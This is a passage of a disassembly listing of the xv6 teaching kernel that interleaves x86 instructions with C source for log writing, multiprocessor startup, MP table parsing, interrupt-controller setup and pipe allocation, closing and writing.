log.lh.block[i] = b->blockno; 80102fb2: 8b 43 08 mov 0x8(%ebx),%eax 80102fb5: a3 cc 36 11 80 mov %eax,0x801136cc if (i == log.lh.n) 80102fba: 75 cb jne 80102f87 <log_write+0x77> 80102fbc: eb e9 jmp 80102fa7 <log_write+0x97> panic("too big a transaction"); 80102fbe: 83 ec 0c sub $0xc,%esp 80102fc1: 68 93 7c 10 80 push $0x80107c93 80102fc6: e8 c5 d3 ff ff call 80100390 <panic> panic("log_write outside of trans"); 80102fcb: 83 ec 0c sub $0xc,%esp 80102fce: 68 a9 7c 10 80 push $0x80107ca9 80102fd3: e8 b8 d3 ff ff call 80100390 <panic> 80102fd8: 66 90 xchg %ax,%ax 80102fda: 66 90 xchg %ax,%ax 80102fdc: 66 90 xchg %ax,%ax 80102fde: 66 90 xchg %ax,%ax 80102fe0 <mpmain>: } // Common CPU setup code. static void mpmain(void) { 80102fe0: 55 push %ebp 80102fe1: 89 e5 mov %esp,%ebp 80102fe3: 53 push %ebx 80102fe4: 83 ec 04 sub $0x4,%esp cprintf("cpu%d: starting %d\n", cpuid(), cpuid()); 80102fe7: e8 84 09 00 00 call 80103970 <cpuid> 80102fec: 89 c3 mov %eax,%ebx 80102fee: e8 7d 09 00 00 call 80103970 <cpuid> 80102ff3: 83 ec 04 sub $0x4,%esp 80102ff6: 53 push %ebx 80102ff7: 50 push %eax 80102ff8: 68 c4 7c 10 80 push $0x80107cc4 80102ffd: e8 ae d6 ff ff call 801006b0 <cprintf> idtinit(); // load idt register 80103002: e8 f9 2f 00 00 call 80106000 <idtinit> xchg(&(mycpu()->started), 1); // tell startothers() we're up 80103007: e8 f4 08 00 00 call 80103900 <mycpu> 8010300c: 89 c2 mov %eax,%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 8010300e: b8 01 00 00 00 mov $0x1,%eax 80103013: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx) scheduler(); // start running processes 8010301a: e8 71 0f 00 00 call 80103f90 <scheduler> 8010301f: 90 nop 80103020 <mpenter>: { 80103020: f3 0f 1e fb endbr32 80103024: 55 push %ebp 80103025: 89 e5 mov %esp,%ebp 80103027: 83 ec 08 sub $0x8,%esp switchkvm(); 8010302a: e8 b1 40 00 00 call 801070e0 <switchkvm> seginit(); 8010302f: e8 1c 40 00 00 call 80107050 <seginit> lapicinit(); 80103034: e8 67 f7 ff ff call 801027a0 <lapicinit> mpmain(); 80103039: e8 a2 ff ff ff call 80102fe0 <mpmain> 8010303e: 66 90 xchg %ax,%ax 80103040 <main>: { 80103040: f3 0f 1e fb endbr32 80103044: 8d 4c 24 04 lea 0x4(%esp),%ecx 80103048: 83 e4 f0 and $0xfffffff0,%esp 8010304b: ff 71 fc pushl -0x4(%ecx) 8010304e: 55 push %ebp 8010304f: 89 e5 mov %esp,%ebp 80103051: 53 push %ebx 80103052: 51 push %ecx kinit1(end, P2V(4*1024*1024)); // phys page allocator 80103053: 83 ec 08 sub $0x8,%esp 80103056: 68 00 00 40 80 push $0x80400000 8010305b: 68 c8 77 11 80 push $0x801177c8 80103060: e8 fb f4 ff ff call 80102560 <kinit1> kvmalloc(); // kernel page table 80103065: e8 56 45 00 00 call 801075c0 <kvmalloc> mpinit(); // detect other processors 8010306a: e8 81 01 00 00 call 801031f0 <mpinit> lapicinit(); // interrupt controller 8010306f: e8 2c f7 ff ff call 801027a0 <lapicinit> seginit(); // segment descriptors 80103074: e8 d7 3f 00 00 call 80107050 <seginit> picinit(); // disable pic 80103079: e8 52 03 00 00 call 801033d0 <picinit> ioapicinit(); // another interrupt controller 8010307e: e8 fd f2 ff ff call 80102380 <ioapicinit> consoleinit(); // console hardware 80103083: e8 a8 d9 ff ff call 80100a30 <consoleinit> uartinit(); // serial port 80103088: e8 83 32 00 00 call 80106310 <uartinit> pinit(); // process table 8010308d: e8 4e 08 00 00 call 801038e0 <pinit> tvinit(); // trap vectors 80103092: e8 e9 2e 00 00 call 80105f80 <tvinit> binit(); // buffer cache 80103097: e8 a4 cf ff ff call 80100040 <binit> fileinit(); // file table 8010309c: e8 3f dd ff ff call 80100de0 <fileinit> ideinit(); // disk 801030a1: e8 aa f0 ff ff call 80102150 <ideinit> // Write entry code to unused memory at 0x7000. // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 801030a6: 83 c4 0c add $0xc,%esp 801030a9: 68 8a 00 00 00 push $0x8a 801030ae: 68 8c b4 10 80 push $0x8010b48c 801030b3: 68 00 70 00 80 push $0x80007000 801030b8: e8 33 1c 00 00 call 80104cf0 <memmove> for(c = cpus; c < cpus+ncpu; c++){ 801030bd: 83 c4 10 add $0x10,%esp 801030c0: 69 05 00 3d 11 80 b0 imul $0xb0,0x80113d00,%eax 801030c7: 00 00 00 801030ca: 05 80 37 11 80 add $0x80113780,%eax 801030cf: 3d 80 37 11 80 cmp $0x80113780,%eax 801030d4: 76 7a jbe 80103150 <main+0x110> 801030d6: bb 80 37 11 80 mov $0x80113780,%ebx 801030db: eb 1c jmp 801030f9 <main+0xb9> 801030dd: 8d 76 00 lea 0x0(%esi),%esi 801030e0: 69 05 00 3d 11 80 b0 imul $0xb0,0x80113d00,%eax 801030e7: 00 00 00 801030ea: 81 c3 b0 00 00 00 add $0xb0,%ebx 801030f0: 05 80 37 11 80 add $0x80113780,%eax 801030f5: 39 c3 cmp %eax,%ebx 801030f7: 73 57 jae 80103150 <main+0x110> if(c == mycpu()) // We've started already. 801030f9: e8 02 08 00 00 call 80103900 <mycpu> 801030fe: 39 c3 cmp %eax,%ebx 80103100: 74 de je 801030e0 <main+0xa0> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 80103102: e8 29 f5 ff ff call 80102630 <kalloc> *(void**)(code-4) = stack + KSTACKSIZE; *(void(**)(void))(code-8) = mpenter; *(int**)(code-12) = (void *) V2P(entrypgdir); lapicstartap(c->apicid, V2P(code)); 80103107: 83 ec 08 sub $0x8,%esp *(void(**)(void))(code-8) = mpenter; 8010310a: c7 05 f8 6f 00 80 20 movl $0x80103020,0x80006ff8 80103111: 30 10 80 *(int**)(code-12) = (void *) V2P(entrypgdir); 80103114: c7 05 f4 6f 00 80 00 movl $0x10a000,0x80006ff4 8010311b: a0 10 00 *(void**)(code-4) = stack + KSTACKSIZE; 8010311e: 05 00 10 00 00 add $0x1000,%eax 80103123: a3 fc 6f 00 80 mov %eax,0x80006ffc lapicstartap(c->apicid, V2P(code)); 80103128: 0f b6 03 movzbl (%ebx),%eax 8010312b: 68 00 70 00 00 push $0x7000 80103130: 50 push %eax 80103131: e8 ba f7 ff ff call 801028f0 <lapicstartap> // wait for cpu to finish mpmain() while(c->started == 0) 80103136: 83 c4 10 add $0x10,%esp 80103139: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103140: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax 80103146: 85 c0 test %eax,%eax 80103148: 74 f6 je 80103140 <main+0x100> 8010314a: eb 94 jmp 801030e0 <main+0xa0> 8010314c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 80103150: 83 ec 08 sub $0x8,%esp 80103153: 68 00 00 00 8e push $0x8e000000 80103158: 68 00 00 40 80 push $0x80400000 8010315d: e8 6e f4 ff ff call 801025d0 <kinit2> userinit(); // first user process 80103162: e8 59 08 00 00 call 801039c0 <userinit> mpmain(); // finish this processor's setup 80103167: e8 74 fe ff ff call 80102fe0 <mpmain> 8010316c: 66 90 xchg %ax,%ax 8010316e: 66 90 xchg %ax,%ax 80103170 <mpsearch1>: } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80103170: 55 push %ebp 80103171: 89 e5 mov %esp,%ebp 80103173: 57 push %edi 80103174: 56 push %esi uchar *e, *p, *addr; addr = P2V(a); 80103175: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi { 8010317b: 53 push %ebx e = addr+len; 8010317c: 8d 1c 16 lea (%esi,%edx,1),%ebx { 8010317f: 83 ec 0c sub $0xc,%esp for(p = addr; p < e; p += sizeof(struct mp)) 80103182: 39 de cmp %ebx,%esi 80103184: 72 10 jb 80103196 <mpsearch1+0x26> 80103186: eb 50 jmp 801031d8 <mpsearch1+0x68> 80103188: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010318f: 90 nop 80103190: 89 fe mov %edi,%esi 80103192: 39 fb cmp %edi,%ebx 80103194: 76 42 jbe 801031d8 <mpsearch1+0x68> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80103196: 83 ec 04 sub $0x4,%esp 80103199: 8d 7e 10 lea 0x10(%esi),%edi 8010319c: 6a 04 push $0x4 8010319e: 68 d8 7c 10 80 push $0x80107cd8 801031a3: 56 push %esi 801031a4: e8 f7 1a 00 00 call 80104ca0 <memcmp> 801031a9: 83 c4 10 add $0x10,%esp 801031ac: 85 c0 test %eax,%eax 801031ae: 75 e0 jne 80103190 <mpsearch1+0x20> 801031b0: 89 f2 mov %esi,%edx 801031b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi sum += addr[i]; 801031b8: 0f b6 0a movzbl (%edx),%ecx 801031bb: 83 c2 01 add $0x1,%edx 801031be: 01 c8 add %ecx,%eax for(i=0; i<len; i++) 801031c0: 39 fa cmp %edi,%edx 801031c2: 75 f4 jne 801031b8 <mpsearch1+0x48> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 801031c4: 84 c0 test %al,%al 801031c6: 75 c8 jne 80103190 <mpsearch1+0x20> return (struct mp*)p; return 0; } 801031c8: 8d 65 f4 lea -0xc(%ebp),%esp 801031cb: 89 f0 mov %esi,%eax 801031cd: 5b pop %ebx 801031ce: 5e pop %esi 801031cf: 5f pop %edi 801031d0: 5d pop %ebp 801031d1: c3 ret 801031d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801031d8: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 801031db: 31 f6 xor %esi,%esi } 801031dd: 5b pop %ebx 801031de: 89 f0 mov %esi,%eax 801031e0: 5e pop %esi 801031e1: 5f pop %edi 801031e2: 5d pop %ebp 801031e3: c3 ret 801031e4: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801031eb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801031ef: 90 nop 801031f0 <mpinit>: return conf; } void mpinit(void) { 801031f0: f3 0f 1e fb endbr32 801031f4: 55 push %ebp 801031f5: 89 e5 mov %esp,%ebp 801031f7: 57 push %edi 801031f8: 56 push %esi 801031f9: 53 push %ebx 801031fa: 83 ec 1c sub $0x1c,%esp if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 801031fd: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax 80103204: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx 8010320b: c1 e0 08 shl $0x8,%eax 8010320e: 09 d0 or %edx,%eax 80103210: c1 e0 04 shl $0x4,%eax 80103213: 75 1b jne 80103230 <mpinit+0x40> p = ((bda[0x14]<<8)|bda[0x13])*1024; 80103215: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax 8010321c: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx 80103223: c1 e0 08 shl $0x8,%eax 80103226: 09 d0 or %edx,%eax 80103228: c1 e0 0a shl $0xa,%eax if((mp = mpsearch1(p-1024, 1024))) 8010322b: 2d 00 04 00 00 sub $0x400,%eax if((mp = mpsearch1(p, 1024))) 80103230: ba 00 04 00 00 mov $0x400,%edx 80103235: e8 36 ff ff ff call 80103170 <mpsearch1> 8010323a: 89 c6 mov %eax,%esi 8010323c: 85 c0 test %eax,%eax 8010323e: 0f 84 4c 01 00 00 je 80103390 <mpinit+0x1a0> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103244: 8b 5e 04 mov 0x4(%esi),%ebx 80103247: 85 db test %ebx,%ebx 80103249: 0f 84 61 01 00 00 je 801033b0 <mpinit+0x1c0> if(memcmp(conf, "PCMP", 4) != 0) 8010324f: 83 ec 04 sub $0x4,%esp conf = (struct mpconf*) P2V((uint) mp->physaddr); 80103252: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax if(memcmp(conf, "PCMP", 4) != 0) 80103258: 6a 04 push $0x4 8010325a: 68 dd 7c 10 80 push $0x80107cdd 8010325f: 50 push %eax conf = (struct mpconf*) P2V((uint) mp->physaddr); 80103260: 89 45 e4 mov %eax,-0x1c(%ebp) if(memcmp(conf, "PCMP", 4) != 0) 80103263: e8 38 1a 00 00 call 80104ca0 <memcmp> 80103268: 83 c4 10 add $0x10,%esp 8010326b: 85 c0 test %eax,%eax 8010326d: 0f 85 3d 01 00 00 jne 801033b0 <mpinit+0x1c0> if(conf->version != 1 && conf->version != 4) 80103273: 0f b6 83 06 00 00 80 movzbl -0x7ffffffa(%ebx),%eax 8010327a: 3c 01 cmp $0x1,%al 8010327c: 74 08 je 80103286 <mpinit+0x96> 8010327e: 3c 04 cmp $0x4,%al 80103280: 0f 85 2a 01 00 00 jne 801033b0 <mpinit+0x1c0> if(sum((uchar*)conf, conf->length) != 0) 80103286: 0f b7 93 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edx for(i=0; i<len; i++) 8010328d: 66 85 d2 test %dx,%dx 80103290: 74 26 je 801032b8 <mpinit+0xc8> 80103292: 8d 3c 1a lea (%edx,%ebx,1),%edi 80103295: 89 d8 mov %ebx,%eax sum = 0; 80103297: 31 d2 xor %edx,%edx 80103299: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi sum += addr[i]; 801032a0: 0f b6 88 00 00 00 80 movzbl -0x80000000(%eax),%ecx 801032a7: 83 c0 01 add $0x1,%eax 801032aa: 01 ca add %ecx,%edx for(i=0; i<len; i++) 801032ac: 39 f8 cmp %edi,%eax 801032ae: 75 f0 jne 801032a0 <mpinit+0xb0> if(sum((uchar*)conf, conf->length) != 0) 801032b0: 84 d2 test %dl,%dl 801032b2: 0f 85 f8 00 00 00 jne 801033b0 <mpinit+0x1c0> struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; 801032b8: 8b 83 24 00 00 80 mov -0x7fffffdc(%ebx),%eax 801032be: a3 7c 36 11 80 mov %eax,0x8011367c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 801032c3: 8d 83 2c 00 00 80 lea -0x7fffffd4(%ebx),%eax 801032c9: 0f b7 93 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edx ismp = 1; 801032d0: bb 01 00 00 00 mov $0x1,%ebx for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 801032d5: 03 55 e4 add -0x1c(%ebp),%edx 801032d8: 89 5d e4 mov %ebx,-0x1c(%ebp) 801032db: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801032df: 90 nop 801032e0: 39 c2 cmp %eax,%edx 801032e2: 76 15 jbe 801032f9 <mpinit+0x109> switch(*p){ 801032e4: 0f b6 08 movzbl (%eax),%ecx 801032e7: 80 f9 02 cmp $0x2,%cl 801032ea: 74 5c je 80103348 <mpinit+0x158> 801032ec: 77 42 ja 80103330 <mpinit+0x140> 801032ee: 84 c9 test %cl,%cl 801032f0: 74 6e je 80103360 <mpinit+0x170> p += sizeof(struct mpioapic); continue; case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 801032f2: 83 c0 08 add $0x8,%eax for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 801032f5: 39 c2 cmp %eax,%edx 801032f7: 77 eb ja 801032e4 <mpinit+0xf4> 801032f9: 8b 5d e4 mov -0x1c(%ebp),%ebx default: ismp = 0; break; } } if(!ismp) 801032fc: 85 db test %ebx,%ebx 801032fe: 0f 84 b9 00 00 00 je 801033bd <mpinit+0x1cd> panic("Didn't find a suitable machine"); if(mp->imcrp){ 80103304: 80 7e 0c 00 cmpb $0x0,0xc(%esi) 80103308: 74 15 je 8010331f <mpinit+0x12f> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010330a: b8 70 00 00 00 mov $0x70,%eax 8010330f: ba 22 00 00 00 mov $0x22,%edx 80103314: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80103315: ba 23 00 00 00 mov $0x23,%edx 8010331a: ec in (%dx),%al // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. 8010331b: 83 c8 01 or $0x1,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010331e: ee out %al,(%dx) } } 8010331f: 8d 65 f4 lea -0xc(%ebp),%esp 80103322: 5b pop %ebx 80103323: 5e pop %esi 80103324: 5f pop %edi 80103325: 5d pop %ebp 80103326: c3 ret 80103327: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010332e: 66 90 xchg %ax,%ax switch(*p){ 80103330: 83 e9 03 sub $0x3,%ecx 80103333: 80 f9 01 cmp $0x1,%cl 80103336: 76 ba jbe 801032f2 <mpinit+0x102> 80103338: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 8010333f: eb 9f jmp 801032e0 <mpinit+0xf0> 80103341: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ioapicid = ioapic->apicno; 80103348: 0f b6 48 01 movzbl 0x1(%eax),%ecx p += sizeof(struct mpioapic); 8010334c: 83 c0 08 add $0x8,%eax ioapicid = ioapic->apicno; 8010334f: 88 0d 60 37 11 80 mov %cl,0x80113760 continue; 80103355: eb 89 jmp 801032e0 <mpinit+0xf0> 80103357: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010335e: 66 90 xchg %ax,%ax if(ncpu < NCPU) { 80103360: 8b 0d 00 3d 11 80 mov 0x80113d00,%ecx 80103366: 83 f9 07 cmp $0x7,%ecx 80103369: 7f 19 jg 80103384 <mpinit+0x194> cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 8010336b: 69 f9 b0 00 00 00 imul $0xb0,%ecx,%edi 80103371: 0f b6 58 01 movzbl 0x1(%eax),%ebx ncpu++; 80103375: 83 c1 01 add $0x1,%ecx 80103378: 89 0d 00 3d 11 80 mov %ecx,0x80113d00 cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 8010337e: 88 9f 80 37 11 80 mov %bl,-0x7feec880(%edi) p += sizeof(struct mpproc); 80103384: 83 c0 14 add $0x14,%eax continue; 80103387: e9 54 ff ff ff jmp 801032e0 <mpinit+0xf0> 8010338c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return mpsearch1(0xF0000, 0x10000); 80103390: ba 00 00 01 00 mov $0x10000,%edx 80103395: b8 00 00 0f 00 mov $0xf0000,%eax 8010339a: e8 d1 fd ff ff call 80103170 <mpsearch1> 8010339f: 89 c6 mov %eax,%esi if((mp = mpsearch()) == 0 || mp->physaddr == 0) 801033a1: 85 c0 test %eax,%eax 801033a3: 0f 85 9b fe ff ff jne 80103244 <mpinit+0x54> 801033a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi panic("Expect to run on an SMP"); 801033b0: 83 ec 0c sub $0xc,%esp 801033b3: 68 e2 7c 10 80 push $0x80107ce2 801033b8: e8 d3 cf ff ff call 80100390 <panic> panic("Didn't find a suitable machine"); 801033bd: 83 ec 0c sub $0xc,%esp 801033c0: 68 fc 7c 10 80 push $0x80107cfc 801033c5: e8 c6 cf ff ff call 80100390 <panic> 801033ca: 66 90 xchg %ax,%ax 801033cc: 66 90 xchg %ax,%ax 801033ce: 66 90 xchg %ax,%ax 801033d0 <picinit>: #define IO_PIC2 0xA0 // Slave (IRQs 8-15) // Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware. void picinit(void) { 801033d0: f3 0f 1e fb endbr32 801033d4: b8 ff ff ff ff mov $0xffffffff,%eax 801033d9: ba 21 00 00 00 mov $0x21,%edx 801033de: ee out %al,(%dx) 801033df: ba a1 00 00 00 mov $0xa1,%edx 801033e4: ee out %al,(%dx) // mask all interrupts outb(IO_PIC1+1, 0xFF); outb(IO_PIC2+1, 0xFF); } 801033e5: c3 ret 801033e6: 66 90 xchg %ax,%ax 801033e8: 66 90 xchg %ax,%ax 801033ea: 66 90 xchg %ax,%ax 801033ec: 66 90 xchg %ax,%ax 801033ee: 66 90 xchg %ax,%ax 801033f0 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 801033f0: f3 0f 1e fb endbr32 801033f4: 55 push %ebp 801033f5: 89 e5 mov %esp,%ebp 801033f7: 57 push %edi 801033f8: 56 push %esi 801033f9: 53 push %ebx 801033fa: 83 ec 0c sub $0xc,%esp 801033fd: 8b 5d 08 mov 0x8(%ebp),%ebx 80103400: 8b 75 0c mov 0xc(%ebp),%esi struct pipe *p; p = 0; *f0 = *f1 = 0; 80103403: c7 06 00 00 00 00 movl $0x0,(%esi) 80103409: c7 03 00 00 00 00 movl $0x0,(%ebx) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 8010340f: e8 ec d9 ff ff call 80100e00 <filealloc> 80103414: 89 03 mov %eax,(%ebx) 80103416: 85 c0 test %eax,%eax 80103418: 0f 84 ac 00 00 00 je 801034ca <pipealloc+0xda> 8010341e: e8 dd d9 ff ff call 80100e00 <filealloc> 80103423: 89 06 mov %eax,(%esi) 80103425: 85 c0 test %eax,%eax 80103427: 0f 84 8b 00 00 00 je 801034b8 <pipealloc+0xc8> goto bad; if((p = (struct pipe*)kalloc()) == 0) 8010342d: e8 fe f1 ff ff call 80102630 <kalloc> 80103432: 89 c7 mov %eax,%edi 80103434: 85 c0 test %eax,%eax 80103436: 0f 84 b4 00 00 00 je 801034f0 <pipealloc+0x100> goto bad; p->readopen = 1; 8010343c: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 80103443: 00 00 00 p->writeopen = 1; p->nwrite = 0; p->nread = 0; initlock(&p->lock, "pipe"); 80103446: 83 ec 08 sub $0x8,%esp p->writeopen = 1; 80103449: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 80103450: 00 00 00 p->nwrite = 0; 80103453: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 8010345a: 00 00 00 p->nread = 0; 8010345d: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 80103464: 00 00 00 initlock(&p->lock, "pipe"); 80103467: 68 1b 7d 10 80 push $0x80107d1b 8010346c: 50 push %eax 8010346d: e8 4e 15 00 00 call 801049c0 <initlock> (*f0)->type = FD_PIPE; 80103472: 8b 03 mov (%ebx),%eax (*f0)->pipe = p; (*f1)->type = FD_PIPE; (*f1)->readable = 0; (*f1)->writable = 1; (*f1)->pipe = p; return 0; 80103474: 83 c4 10 add $0x10,%esp (*f0)->type = FD_PIPE; 80103477: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 8010347d: 8b 03 mov (%ebx),%eax 8010347f: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 80103483: 8b 03 mov (%ebx),%eax 80103485: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 80103489: 8b 03 mov (%ebx),%eax 8010348b: 89 78 0c mov %edi,0xc(%eax) (*f1)->type = FD_PIPE; 8010348e: 8b 06 mov (%esi),%eax 80103490: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 80103496: 8b 06 mov (%esi),%eax 80103498: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 8010349c: 8b 06 mov (%esi),%eax 8010349e: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 801034a2: 8b 06 mov (%esi),%eax 801034a4: 89 78 0c mov %edi,0xc(%eax) if(*f0) fileclose(*f0); if(*f1) fileclose(*f1); return -1; } 801034a7: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 801034aa: 31 c0 xor %eax,%eax } 801034ac: 5b pop %ebx 801034ad: 5e pop %esi 801034ae: 5f pop %edi 801034af: 5d pop %ebp 801034b0: c3 ret 801034b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(*f0) 801034b8: 8b 03 mov (%ebx),%eax 801034ba: 85 c0 test %eax,%eax 801034bc: 74 1e je 801034dc <pipealloc+0xec> fileclose(*f0); 801034be: 83 ec 0c sub $0xc,%esp 801034c1: 50 push %eax 801034c2: e8 f9 d9 ff ff call 80100ec0 <fileclose> 801034c7: 83 c4 10 add $0x10,%esp if(*f1) 801034ca: 8b 06 mov (%esi),%eax 801034cc: 85 c0 test %eax,%eax 801034ce: 74 0c je 801034dc <pipealloc+0xec> fileclose(*f1); 801034d0: 83 ec 0c sub $0xc,%esp 801034d3: 50 push %eax 801034d4: e8 e7 d9 ff ff call 80100ec0 <fileclose> 801034d9: 83 c4 10 add $0x10,%esp } 801034dc: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 801034df: b8 ff ff ff ff mov $0xffffffff,%eax } 801034e4: 5b pop %ebx 801034e5: 5e pop %esi 801034e6: 5f pop %edi 801034e7: 5d pop %ebp 801034e8: c3 ret 801034e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(*f0) 801034f0: 8b 03 mov (%ebx),%eax 801034f2: 85 c0 test %eax,%eax 801034f4: 75 c8 jne 801034be <pipealloc+0xce> 801034f6: eb d2 jmp 801034ca <pipealloc+0xda> 801034f8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801034ff: 90 nop 80103500 <pipeclose>: void pipeclose(struct pipe *p, int writable) { 80103500: f3 0f 1e fb endbr32 80103504: 55 push %ebp 80103505: 89 e5 mov %esp,%ebp 80103507: 56 push %esi 80103508: 53 push %ebx 80103509: 8b 5d 08 mov 0x8(%ebp),%ebx 8010350c: 8b 75 0c mov 0xc(%ebp),%esi acquire(&p->lock); 8010350f: 83 ec 0c sub $0xc,%esp 80103512: 53 push %ebx 80103513: e8 28 16 00 00 call 80104b40 <acquire> if(writable){ 80103518: 83 c4 10 add $0x10,%esp 8010351b: 85 f6 test %esi,%esi 8010351d: 74 41 je 80103560 <pipeclose+0x60> p->writeopen = 0; wakeup(&p->nread); 8010351f: 83 ec 0c sub $0xc,%esp 80103522: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax p->writeopen = 0; 80103528: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx) 8010352f: 00 00 00 wakeup(&p->nread); 80103532: 50 push %eax 80103533: e8 18 11 00 00 call 80104650 <wakeup> 80103538: 83 c4 10 add $0x10,%esp } else { p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ 8010353b: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 80103541: 85 d2 test %edx,%edx 80103543: 75 0a jne 8010354f <pipeclose+0x4f> 80103545: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax 8010354b: 85 c0 test %eax,%eax 8010354d: 74 31 je 80103580 <pipeclose+0x80> release(&p->lock); kfree((char*)p); } else release(&p->lock); 8010354f: 89 5d 08 mov %ebx,0x8(%ebp) } 80103552: 8d 65 f8 lea -0x8(%ebp),%esp 80103555: 5b pop %ebx 80103556: 5e pop %esi 80103557: 5d pop %ebp release(&p->lock); 80103558: e9 a3 16 00 00 jmp 80104c00 <release> 8010355d: 8d 76 00 lea 0x0(%esi),%esi wakeup(&p->nwrite); 80103560: 83 ec 0c sub $0xc,%esp 80103563: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax p->readopen = 0; 80103569: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx) 80103570: 00 00 00 wakeup(&p->nwrite); 80103573: 50 push %eax 80103574: e8 d7 10 00 00 call 80104650 <wakeup> 80103579: 83 c4 10 add $0x10,%esp 8010357c: eb bd jmp 8010353b <pipeclose+0x3b> 8010357e: 66 90 xchg %ax,%ax release(&p->lock); 80103580: 83 ec 0c sub $0xc,%esp 80103583: 53 push %ebx 80103584: e8 77 16 00 00 call 80104c00 <release> kfree((char*)p); 80103589: 89 5d 08 mov %ebx,0x8(%ebp) 8010358c: 83 c4 10 add $0x10,%esp } 8010358f: 8d 65 f8 lea -0x8(%ebp),%esp 80103592: 5b pop %ebx 80103593: 5e pop %esi 80103594: 5d pop %ebp kfree((char*)p); 80103595: e9 d6 ee ff ff jmp 80102470 <kfree> 8010359a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801035a0 <pipewrite>: //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 801035a0: f3 0f 1e fb endbr32 801035a4: 55 push %ebp 801035a5: 89 e5 mov %esp,%ebp 801035a7: 57 push %edi 801035a8: 56 push %esi 801035a9: 53 push %ebx 801035aa: 83 ec 28 sub $0x28,%esp 801035ad: 8b 5d 08 mov 0x8(%ebp),%ebx int i; acquire(&p->lock); 801035b0: 53 push %ebx 801035b1: e8 8a 15 00 00 call 80104b40 <acquire> for(i = 0; i < n; i++){ 801035b6: 8b 45 10 mov 0x10(%ebp),%eax 801035b9: 83 c4 10 add $0x10,%esp 801035bc: 85 c0 test %eax,%eax 801035be: 0f 8e bc 00 00 00 jle 80103680 